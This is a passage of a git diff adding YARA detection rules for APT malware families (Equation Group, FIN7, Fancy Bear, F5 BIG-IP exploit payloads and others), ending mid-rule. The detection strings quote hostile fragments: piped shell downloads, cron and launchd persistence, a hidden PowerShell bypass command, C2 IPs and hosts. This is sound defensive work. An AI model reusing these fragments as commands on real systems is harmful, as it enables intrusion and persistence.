+      id = "a73bc98f-f7b1-5f16-bf23-1d5c9a7a371b"
+   strings:
+      $s0 = "# scanning ip  " ascii
+      $s1 = "# Scan for windows boxes" ascii fullword
+      $s2 = "Going into send" ascii fullword
+      $s3 = "# Does not work" ascii fullword
+      $s4 = "You are the weakest link, goodbye" ascii fullword
+      $s5 = "rpc   Scan for RPC  folks" ascii fullword
+   condition:
+      filesize < 1000KB and 2 of them
+}
diff --git a/yara-Neo23x0/apt_eqgrp_sparc_sbz_apr23.yar b/yara-Neo23x0/apt_eqgrp_sparc_sbz_apr23.yar
new file mode 100644
index 0000000..5c39b67
--- /dev/null
+++ b/yara-Neo23x0/apt_eqgrp_sparc_sbz_apr23.yar
@@ -0,0 +1,66 @@
+
+rule SUSP_ELF_SPARC_Hunting_SBZ_Obfuscation {
+   meta:
+   description = "This rule is UNTESTED against a large dataset and is for hunting purposes only."
+   author = "netadr, modified by Florian Roth to avoid elf module import"
+   reference = "https://netadr.github.io/blog/a-quick-glimpse-sbz/"
+   date = "2023-04-02"
+   modified = "2023-05-08"
+   score = 60
+
+   id = "15ee9a66-d823-508c-a14c-2c6ff45f47e5"
+   strings:
+      // xor g3, 0x47, o5
+      // xor o5, g1, o5
+      // xor g2, o5, o5
+      $xor_block = { 9A 18 E0 47 9A 1B 40 01 9A 18 80 0D }
+
+      $a1 = "SUNW_"
+
+   condition:
+      uint32be(0) == 0x7f454c46
+      and $a1
+      and $xor_block
+}
+
+rule SUSP_ELF_SPARC_Hunting_SBZ_UniqueStrings {
+   meta:
+      description = "This rule is UNTESTED against a large dataset and is for hunting purposes only."
+      author = "netadr, modified by Florian Roth for performance reasons"
+      reference = "https://netadr.github.io/blog/a-quick-glimpse-sbz/"
+      date = "2023-04-02"
+      modified = "2023-05-08"
+      score = 60
+
+      id = "d2f70d10-412e-5e83-ba4f-eac251012dc1"
+   strings:
+      $s1 = "<%u>[%s] Event #%u: "
+      /* $s2 = "ofn" */
+      $s2 = "lprc:%08X" ascii fullword
+
+      // suggested by https://twitter.com/adulau/status/1553401532514766848
+      $s3 = "diuXxobB" 
+      $s4 = "CHM_FW"
+
+   condition:
+      2 of ($*)
+}
+
+rule SUSP_ELF_SPARC_Hunting_SBZ_ModuleStruct {
+   meta:
+      description = "This rule is UNTESTED against a large dataset and is for hunting purposes only."
+      author = "netadr, modified by Florian Roth for FP reduction reasons"
+      reference = "https://netadr.github.io/blog/a-quick-glimpse-sbz/"
+      date = "2023-04-02"
+      modified = "2023-05-08"
+      score = 60
+
+      id = "909746f1-44f5-597b-bdb2-2a1396d4b8c7"
+   strings:
+      $be = { 02 02 00 00 01 C1 00 07 }
+      $le = { 02 02 00 00 07 00 C1 01 }
+
+   condition:
+      uint32be(0) == 0x7f454c46 and ( $be or $le )
+}
+
diff --git a/yara-Neo23x0/apt_eqgrp_triangulation_jun23.yar b/yara-Neo23x0/apt_eqgrp_triangulation_jun23.yar
new file mode 100644
index 0000000..91f1b98
--- /dev/null
+++ b/yara-Neo23x0/apt_eqgrp_triangulation_jun23.yar
@@ -0,0 +1,18 @@
+
+rule APT_Equation_Group_Op_Triangulation_TriangleDB_Implant_Jun23_1 {
+   meta:
+      description = "Detects TriangleDB implant found being used in Operation Triangulation on iOS devices (maybe also used on macOS systems)"
+      author = "Florian Roth"
+      reference = "https://securelist.com/triangledb-triangulation-implant/110050/"
+      date = "2023-06-21"
+      score = 80
+      id = "d81a5103-41c8-5dba-a560-8fb5514f6c0a"
+   strings:
+      $s1 = "unmungeHexString" ascii fullword
+      $s2 = "CRPwrInfo" ascii fullword
+      $s3 = "CRConfig" ascii fullword
+      $s4 = "CRXConfigureDBServer" ascii fullword
+   condition:
+      ( uint16(0) == 0xfacf and filesize < 30MB and $s1 and 2 of them ) 
+      or all of them
+}
diff --git a/yara-Neo23x0/apt_eternalblue_non_wannacry.yar b/yara-Neo23x0/apt_eternalblue_non_wannacry.yar
new file mode 100644
index 0000000..0aaa6f1
--- /dev/null
+++ b/yara-Neo23x0/apt_eternalblue_non_wannacry.yar
@@ -0,0 +1,61 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-06-04
+   Identifier: FireEye EternalBlue - Non-Wannacry Attacks
+   Reference: https://goo.gl/OOB3mH
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Backdoor_Redosdru_Jun17 : HIGHVOL {
+   meta:
+      description = "Detects malware Redosdru - file systemHome.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/OOB3mH"
+      date = "2017-06-04"
+      hash1 = "4f49e17b457ef202ab0be905691ef2b2d2b0a086a7caddd1e70dd45e5ed3b309"
+      id = "ea038142-6903-5d08-ac89-70c1bbef716c"
+   strings:
+      $x1 = "%s\\%d.gho" fullword ascii
+      $x2 = "%s\\nt%s.dll" fullword ascii
+      $x3 = "baijinUPdate" fullword ascii
+
+      $s1 = "RegQueryValueEx(Svchost\\netsvcs)" fullword ascii
+      $s2 = "serviceone" fullword ascii
+      $s3 = "\x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#f \x1f#" fullword ascii
+      $s4 = "servicetwo" fullword ascii
+      $s5 = "UpdateCrc" fullword ascii
+      $s6 = "\x1f#[ \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#" fullword ascii
+      $s7 = "nwsaPAgEnT" fullword ascii
+      $s8 = "%-24s %-15s 0x%x(%d) " fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 700KB and 1 of ($x*) or 4 of them )
+}
+
+rule Backdoor_Nitol_Jun17 {
+   meta:
+      description = "Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/OOB3mH"
+      date = "2017-06-04"
+      modified = "2023-01-07"
+      hash1 = "cba19d228abf31ec8afab7330df3c9da60cd4dae376552b503aea6d7feff9946"
+      id = "7dd26868-59e0-51a1-b12a-3b69d6246ff5"
+   strings:
+      $x1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
+      $x2 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
+      $x3 = "TCPConnectFloodThread.target = %s" fullword ascii
+
+      $s1 = "\\Program Files\\Internet Explorer\\iexplore.exe" ascii
+      $s2 = "%c%c%c%c%c%c.exe" fullword ascii
+      $s3 = "GET %s%s HTTP/1.1" fullword ascii
+      $s4 = "CCAttack.target = %s" fullword ascii
+      $s5 = "Accept-Language: zh-cn" fullword ascii
+      $s6 = "jdfwkey" fullword ascii
+      $s7 = "hackqz.f3322.org:8880" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and ( 1 of ($x*) or 5 of ($s*) ) ) or ( all of them )
+}
diff --git a/yara-Neo23x0/apt_exile_rat.yar b/yara-Neo23x0/apt_exile_rat.yar
new file mode 100644
index 0000000..54d4570
--- /dev/null
+++ b/yara-Neo23x0/apt_exile_rat.yar
@@ -0,0 +1,26 @@
+
+import "pe"
+
+rule MAL_ExileRAT_Feb19_1 {
+   meta:
+      description = "Detects Exile RAT"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.talosintelligence.com/2019/02/exilerat-shares-c2-with-luckycat.html"
+      date = "2019-02-04"
+      license = "https://creativecommons.org/licenses/by-nc/4.0/"
+      hash1 = "3eb026d8b778716231a07b3dbbdc99e2d3a635b1956de8a1e6efc659330e52de"
+      id = "f0a510f3-5fea-59a7-8991-9d06dc478b2a"
+   strings:
+      $x1 = "Content-Disposition:form-data;name=\"x.bin\"" fullword ascii
+
+      $s1 = "syshost.dll" fullword ascii
+      $s2 = "\\scout\\Release\\scout.pdb" ascii
+      $s3 = "C:\\data.ini" fullword ascii
+      $s4 = "my-ip\" value=\"" fullword ascii
+      $s5 = "ver:%d.%d.%d" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and (
+         pe.imphash() == "da8475fc7c3c90c0604ce6a0b56b5f21" or
+         3 of them
+      )
+}
diff --git a/yara-Neo23x0/apt_f5_bigip_expl_payloads.yar b/yara-Neo23x0/apt_f5_bigip_expl_payloads.yar
new file mode 100644
index 0000000..e555f54
--- /dev/null
+++ b/yara-Neo23x0/apt_f5_bigip_expl_payloads.yar
@@ -0,0 +1,23 @@
+
+rule MAL_Payload_F5_BIG_IP_Exploitations_Jul20_1 {
+   meta:
+      description = "Detects code found in report on exploits against CVE-2020-5902 F5 BIG-IP vulnerability by NCC group"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/"
+      date = "2020-06-07"
+      score = 75
+      id = "57705ba1-c0ad-5ca6-8539-44d9da6b5942"
+   strings:
+      $x1 = "rm -f /etc/ld.so.preload" ascii fullword
+      $x2 = "echo \"* * * * * $LDR" ascii
+      $x3 = ".sh -o /tmp/in.sh" ascii
+      $x4 = "chmod a+x /etc/.modules/.tmp" ascii
+      $x5 = "chmod +x /var/log/F5-logcheck"
+
+      $s1 = "ulimit -n 65535" ascii fullword
+      $s2 = "-s /usr/bin/wget " ascii
+      $s3 = ".sh | sh" ascii
+   condition:
+      filesize < 300KB and
+      ( 1 of ($x*) or 3 of them )
+}
diff --git a/yara-Neo23x0/apt_fakem_backdoor.yar b/yara-Neo23x0/apt_fakem_backdoor.yar
new file mode 100644
index 0000000..08b9ee4
--- /dev/null
+++ b/yara-Neo23x0/apt_fakem_backdoor.yar
@@ -0,0 +1,49 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-25
+	Identifier: FakeM
+*/
+
+rule FakeM_Generic {
+	meta:
+		description = "Detects FakeM malware samples"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
+		date = "2016-01-25"
+		modified = "2023-01-06"
+		score = 85
+		hash1 = "631fc66e57acd52284aba2608e6f31ba19e2807367e33d8704f572f6af6bd9c3"
+		hash2 = "3d9bd26f5bd5401efa17690357f40054a3d7b438ce8c91367dbf469f0d9bd520"
+		hash3 = "53af257a42a8f182e97dcbb8d22227c27d654bea756d7f34a80cc7982b70aa60"
+		hash4 = "4a4dfffae6fc8be77ac9b2c67da547f0d57ffae59e0687a356f5105fdddc88a3"
+		hash5 = "7bfbf49aa71b8235a16792ef721b7e4195df11cb75371f651595b37690d108c8"
+		hash6 = "12dedcdda853da9846014186e6b4a5d6a82ba0cf61d7fa4cbe444a010f682b5d"
+		hash7 = "9adda3d95535c6cf83a1ba08fe83f718f5c722e06d0caff8eab4a564185971c5"
+		hash8 = "3209ab95ca7ee7d8c0140f95bdb61a37d69810a7a23d90d63ecc69cc8c51db90"
+		hash9 = "41948c73b776b673f954f497e09cc469d55f27e7b6e19acb41b77f7e64c50a33"
+		hash10 = "53cecc0d0f6924eacd23c49d0d95a6381834360fbbe2356778feb8dd396d723e"
+		hash11 = "523ad50b498bfb5ab688d9b1958c8058f905b634befc65e96f9f947e40893e5b"
+		id = "51a285ce-a4cb-5068-b079-a8227690365f"
+	strings:
+		$a1 = "\\system32\\kernel32.dll" ascii
+		$a2 = "\\boot.lnk" ascii
+		$a3 = "%USERPROFILE%" fullword ascii /* Goodware String - occured 16 times */
+
+		$b1 = "Wizard.EXE" fullword wide
+		$b2 = "CommandLineA" fullword ascii
+
+		$c1 = "\\system32\\kernel32.dll" ascii
+		$c2 = "\\aapz.tmp" ascii
+
+		$e1 = "C:\\Documents and Settings\\A\\" ascii
+		$e2 = "\\svchost.exe" ascii
+		$e3 = "\\Perform\\Release\\Perform.pdb" ascii
+
+		$f1 = "Browser.EXE" fullword wide
+		$f2 = "\\browser.exe" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and
+		( all of ($a*) or all of ($b*) or all of ($c*) or all of ($e*) or 1 of ($f*) )
+}
diff --git a/yara-Neo23x0/apt_fancybear_computrace_agent.yar b/yara-Neo23x0/apt_fancybear_computrace_agent.yar
new file mode 100644
index 0000000..98d4dee
--- /dev/null
+++ b/yara-Neo23x0/apt_fancybear_computrace_agent.yar
@@ -0,0 +1,14 @@
+rule PUP_ComputraceAgent {
+   meta:
+      description = "Absolute Computrace Agent Executable"
+      author = "ASERT - Arbor Networks (slightly modified by Florian Roth)"
+      date = "2018-05-01"
+      reference = "https://asert.arbornetworks.com/lojack-becomes-a-double-agent/"
+      id = "676f8f1e-a3b4-5d05-b13b-bd6cb0aabbbd"
+   strings:
+      $a = { D1 E0 F5 8B 4D 0C 83 D1 00 8B EC FF 33 83 C3 04 }
+      $b1 = { 72 70 63 6E 65 74 70 2E 65 78 65 00 72 70 63 6E 65 74 70 00 }
+      $b2 = { 54 61 67 49 64 00 }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 40KB and ($a or ($b1 and $b2))
+}
diff --git a/yara-Neo23x0/apt_fancybear_dnc.yar b/yara-Neo23x0/apt_fancybear_dnc.yar
new file mode 100644
index 0000000..a85de88
--- /dev/null
+++ b/yara-Neo23x0/apt_fancybear_dnc.yar
@@ -0,0 +1,42 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-14
+	Identifier: Fancy Bear and Cozy Bear Report - CrowdStrike
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule COZY_FANCY_BEAR_Hunt {
+	meta:
+		description = "Detects Cozy Bear / Fancy Bear C2 Server IPs"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
+		date = "2016-06-14"
+		id = "e81b4368-7383-5a48-a89a-f91b9306326e"
+	strings:
+		$s1 = "185.100.84.134" ascii wide fullword
+		$s2 = "58.49.58.58" ascii wide fullword
+		$s3 = "218.1.98.203" ascii wide fullword
+		$s4 = "187.33.33.8" ascii wide fullword
+		$s5 = "185.86.148.227" ascii wide fullword
+		$s6 = "45.32.129.185" ascii wide fullword
+		$s7 = "23.227.196.217" ascii wide fullword
+	condition:
+		uint16(0) == 0x5a4d and 1 of them
+}
+
+rule COZY_FANCY_BEAR_pagemgr_Hunt {
+	meta:
+		description = "Detects a pagemgr.exe as mentioned in the CrowdStrike report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
+		date = "2016-06-14"
+		id = "3c5c8843-81ba-510c-82ed-4b6e2286bdb2"
+	strings:
+		$s1 = "pagemgr.exe" wide fullword
+	condition:
+		uint16(0) == 0x5a4d and 1 of them
+}
diff --git a/yara-Neo23x0/apt_fancybear_osxagent.yar b/yara-Neo23x0/apt_fancybear_osxagent.yar
new file mode 100644
index 0000000..01ac6b6
--- /dev/null
+++ b/yara-Neo23x0/apt_fancybear_osxagent.yar
@@ -0,0 +1,20 @@
+rule MAL_OSX_FancyBear_Agent_Jul18_1 {
+   meta:
+      description = "Detects FancyBear Agent for OSX"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/DrunkBinary/status/1018448895054098432"
+      date = "2018-07-15"
+      hash1 = "d3be93f6ce59b522ff951cef9d59ef347081ffe33d4203cd5b5df0aaa9721aa2"
+      id = "ae717f70-7196-561a-916f-1598ab38c77a"
+   strings:
+      $x1 = "/Users/kazak/Desktop/" ascii
+
+      $s1 = "launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist" fullword ascii
+      $s2 = "mkdir -p /Users/Shared/.local/ &> /dev/null" fullword ascii
+      $s3 = "chmod 755 /Users/Shared/start.sh" fullword ascii
+      $s4 = "chmod 755 %s/%s &> /dev/null" fullword ascii
+      $s6 = "chmod 755 /Users/Shared/.local/kextd" fullword ascii
+   condition:
+      uint16(0) == 0xfacf and filesize < 3000KB and ( 1 of ($x*) and 4 of them )
+}
diff --git a/yara-Neo23x0/apt_fidelis_phishing_plain_sight.yar b/yara-Neo23x0/apt_fidelis_phishing_plain_sight.yar
new file mode 100644
index 0000000..7f7b336
--- /dev/null
+++ b/yara-Neo23x0/apt_fidelis_phishing_plain_sight.yar
@@ -0,0 +1,30 @@
+
+rule Fidelis_Advisory_Purchase_Order_pps {
+    meta:
+        description = "Detects a string found in a malicious document named Purchase_Order.pps"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://goo.gl/ZjJyti"
+        date = "2015-06-09"
+        id = "205c4cda-6874-5455-8eb9-b63fb09b13fd"
+    strings:
+        $s0 = "Users\\Gozie\\Desktop\\Purchase-Order.gif" ascii
+    condition:
+        all of them
+}
+
+rule Fidelis_Advisory_cedt370 {
+    meta:
+        description = "Detects a string found in memory of malware cedt370r(3).exe"
+        author = "Florian Roth (Nextron Systems)"
+        reference = "http://goo.gl/ZjJyti"
+        date = "2015-06-09"
+        id = "b5ebf2d7-e3e4-5b3b-a082-417da9c7fda6"
+    strings:
+        $s0 = "PO.exe" ascii fullword
+        $s1 = "Important.exe" ascii fullword
+        $s2 = "&username=" ascii fullword
+        $s3 = "Browsers.txt" ascii fullword
+    condition:
+        all of them
+}
diff --git a/yara-Neo23x0/apt_fin7.yar b/yara-Neo23x0/apt_fin7.yar
new file mode 100644
index 0000000..e04194e
--- /dev/null
+++ b/yara-Neo23x0/apt_fin7.yar
@@ -0,0 +1,323 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-08-01
+   Identifier: FIN7
+   Reference: https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule APT_FIN7_Strings_Aug18_1 {
+   meta:
+      description = "Detects strings from FIN7 report in August 2018"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+      date = "2018-08-01"
+      hash1 = "b6354e46af0d69b6998dbed2fceae60a3b207584e08179748e65511d45849b00"
+      id = "9b940986-e41b-5fbf-9e42-cb0fd550e541"
+   strings:
+      $s1 = "&&call %a01%%a02% /e:jscript" ascii
+      $s2 = "wscript.exe //b /e:jscript %TEMP%" ascii
+      $s3 = " w=wsc@ript /b " ascii
+      $s4 = "@echo %w:@=%|cmd" ascii
+      $s5 = " & wscript //b /e:jscript"
+   condition:
+      1 of them
+}
+
+rule APT_FIN7_Sample_Aug18_2 {
+   meta:
+      description = "Detects FIN7 malware sample"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+      date = "2018-08-01"
+      hash1 = "1513c7630c981e4b1d0d5a55809166721df4f87bb0fac2d2b8ff6afae187f01d"
+      id = "885eebfe-2587-5744-ba0c-c74ced946050"
+   strings:
+      $x1 = "Description: C:\\Users\\oleg\\Desktop\\" wide
+      $x2 = "/*|*| *  Copyright 2016 Microsoft, Industries.|*| *  All rights reserved.|*|" ascii
+      $x3 = "32, 40, 102, 105, 108, 101, 95, 112, 97, 116, 104, 41, 41, 32" ascii
+      $x4 = "83, 108, 101, 101, 112, 40, 51, 48, 48, 48, 41, 59, 102, 115" ascii
+      $x5 = "80, 80, 68, 65, 84, 65, 37, 34, 41, 44, 115, 104, 101, 108, 108" ascii
+   condition:
+      uint16(0) == 0xcfd0 and filesize < 2000KB and 1 of them
+}
+
+rule APT_FIN7_MalDoc_Aug18_1 {
+   meta:
+      description = "Detects malicious Doc from FIN7 campaign"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+      date = "2018-08-01"
+      hash1 = "9c12591c850a2d5355be0ed9b3891ccb3f42e37eaf979ae545f2f008b5d124d6"
+      id = "f3c430e0-be9a-5c3f-9378-a20ef0492afb"
+   strings:
+      $s1 = "<photoshop:LayerText>If this document was downloaded from your email, please click  \"Enable editing\" from the yellow bar above" ascii
+   condition:
+      filesize < 800KB and 1 of them
+}
+
+rule APT_FIN7_Sample_Aug18_1 {
+   meta:
+      description = "Detects FIN7 samples mentioned in FireEye report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+      date = "2018-08-01"
+      hash1 = "a1e95ac1bb684186e9fb5c67f75c7c26ddc8b18ebfdaf061742ddf1675e17d55"
+      hash2 = "dc645aae5d283fa175cf463a19615ed4d16b1d5238686245574d8a6a8b0fc8fa"
+      hash3 = "eebbce171dab636c5ac0bf0fd14da0e216758b19c0ce2e5c572d7e6642d36d3d"
+      id = "0fdd98e8-7536-5159-8085-da7388e5fff2"
+   strings:
+      $s1 = "\\par var console=\\{\\};console.log=function()\\{\\};" ascii
+      $s2 = "616e64792d7063" ascii /* hex encoded string 'andy-pc' */
+
+      $x1 = "0043003a005c00550073006500720073005c0061006e00640079005c004400650073006b0074006f0070005c0075006e00700072006f0074006500630074" ascii /* hex encoded string 'C:\Users\andy\Desktop\unprotect' */
+      $x2 = "780065006300750074006500280022004f006e0020004500720072006f007200200052006500730075006d00650020004e006500780074003a0073006500" ascii /* hex encoded string 'xecute("On Error Resume Next:se' */
+      $x3 = "\\par \\tab \\tab \\tab sh.Run \"powershell.exe -NoE -NoP -NonI -ExecutionPolicy Bypass -w Hidden -File \" & pToPSCb, 0, False" fullword ascii
+      $x4 = "002e006c006e006b002d00000043003a005c00550073006500720073005c007400650073007400610064006d0069006e002e0054004500530054005c0044" ascii /* hex encoded string '.lnk-C:\Users\testadmin.TEST\D' */
+      $x5 = "005c00550073006500720073005c005400450053005400410044007e0031002e005400450053005c0041007000700044006100740061005c004c006f0063" ascii /* hex encoded string '\Users\TESTAD~1.TES\AppData\Loc' */
+      $x6 = "6c00690063006100740069006f006e002200220029003a00650078006500630075007400650020007700700072006f0074006500630074002e0041006300" ascii /* hex encoded string 'lication""):execute wprotect.Ac' */
+      $x7 = "7374656d33325c6d736874612e657865000023002e002e005c002e002e005c002e002e005c00570069006e0064006f00770073005c005300790073007400" ascii /* hex encoded string 'stem32\mshta.exe#..\..\..\Windows\Syst' */
+      $x8 = "\\par \\tab \\tab sh.Run \"%comspec% /c tasklist >\"\"\" & tpath & \"\"\" 2>&1\", 0, true" fullword ascii
+      $x9 = "00720079007b006500760061006c0028002700770061006c006c003d004700650074004f0062006a0065006300740028005c005c0027005c005c00270027" ascii /* hex encoded string 'ry{eval('wall=GetObject(\\'\\''' */
+      $x10 = "006e00640079005c004400650073006b0074006f0070005c0075006e006c006f0063006b002e0064006f0063002e006c006e006b" ascii /* hex encoded string 'ndy\Desktop\unlock.doc.lnk' */
+   condition:
+      uint16(0) == 0x5c7b and filesize < 3000KB and ( 1 of ($x*) or 2 of them )
+}
+
+rule APT_FIN7_EXE_Sample_Aug18_1 {
+   meta:
+      description = "Detects sample from FIN7 report in August 2018"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+      date = "2018-08-01"
+      hash1 = "7f16cbe7aa1fbc5b8a95f9d123f45b7e3da144cb88db6e1da3eca38cf88660cb"
+      id = "46c82d27-5683-5acd-9a3c-d69613091ecc"
+   strings:
+      $s1 = "Manche Enterprises Limited0" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 800KB and 1 of them
+}
+
+rule APT_FIN7_EXE_Sample_Aug18_2 {
+   meta:
+      description = "Detects sample from FIN7 report in August 2018"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+      date = "2018-08-01"
+      hash1 = "60cd98fc4cb2ae474e9eab81cd34fd3c3f638ad77e4f5d5c82ca46f3471c3020"
+      id = "4522cd85-ba85-5afd-8600-1ebabfaf6d02"
+   strings:
+      $s1 = "constructor or from DllMain." fullword ascii
+      $s2 = "Network Software Ltd0" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule APT_FIN7_EXE_Sample_Aug18_3 {
+   meta:
+      description = "Detects sample from FIN7 report in August 2018"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+      date = "2018-08-01"
+      hash1 = "995b90281774798a376db67f906a126257d314efc21b03768941f2f819cf61a6"
+      id = "0b0ce882-1c18-5741-bb71-0cef010dc778"
+   strings:
+      $s1 = "cvzdfhtjkdhbfszngjdng" fullword ascii
+      $s2 = "sdfkjdfjfhgurgvncmnvmfdjdkfjdkfjdf" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 50KB and 1 of them
+}
+
+rule APT_FIN7_EXE_Sample_Aug18_4 {
+   meta:
+      description = "Detects sample from FIN7 report in August 2018"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+      date = "2018-08-01"
+      hash1 = "4b5405fc253ed3a89c770096a13d90648eac10a7fb12980e587f73483a07aa4c"
+      id = "bead79bb-28c2-59ed-985b-e44b41e7f66a"
+   strings:
+      $s1 = "c:\\file.dat" fullword wide
+      $s2 = "constructor or from DllMain." fullword ascii
+      $s3 = "lineGetCallIDs" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 700KB and all of them
+}
+
+rule APT_FIN7_EXE_Sample_Aug18_5 {
+   meta:
+      description = "Detects sample from FIN7 report in August 2018"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+      date = "2018-08-01"
+      hash1 = "7789a3d7d05c30b4efaf3f2f5811804daa56d78a9a660968a4f1f9a78a9108a0"
+      id = "6c810662-9ceb-5c3b-8f83-5a4aa2a5d461"
+   strings:
+      $s1 = "x0=%d, y0=%d, x1=%d, y1=%d" fullword ascii
+      $s3 = "sdfkjdfjfhgurgvncmnvmfdjdkfjdkfjdf" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule APT_FIN7_EXE_Sample_Aug18_6 {
+   meta:
+      description = "Detects sample from FIN7 report in August 2018"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+      date = "2018-08-01"
+      hash1 = "1439d301d931c8c4b00717b9057b23f0eb50049916a48773b17397135194424a"
+      id = "2b2e6b74-5d71-5656-8faf-37c94607d93e"
+   strings:
+      $s1 = "coreServiceShell.exe" fullword ascii
+      $s2 = "PtSessionAgent.exe" fullword ascii
+      $s3 = "TiniMetI.exe" fullword ascii
+      $s4 = "PwmSvc.exe" fullword ascii
+      $s5 = "uiSeAgnt.exe" fullword ascii
+      $s7 = "LHOST:" fullword ascii
+      $s8 = "TRANSPORT:" fullword ascii
+      $s9 = "LPORT:" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 20KB and (
+         pe.exports("TiniStart") or
+         4 of them
+      )
+}
+
+rule APT_FIN7_EXE_Sample_Aug18_7 {
+   meta:
+      description = "Detects sample from FIN7 report in August 2018"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
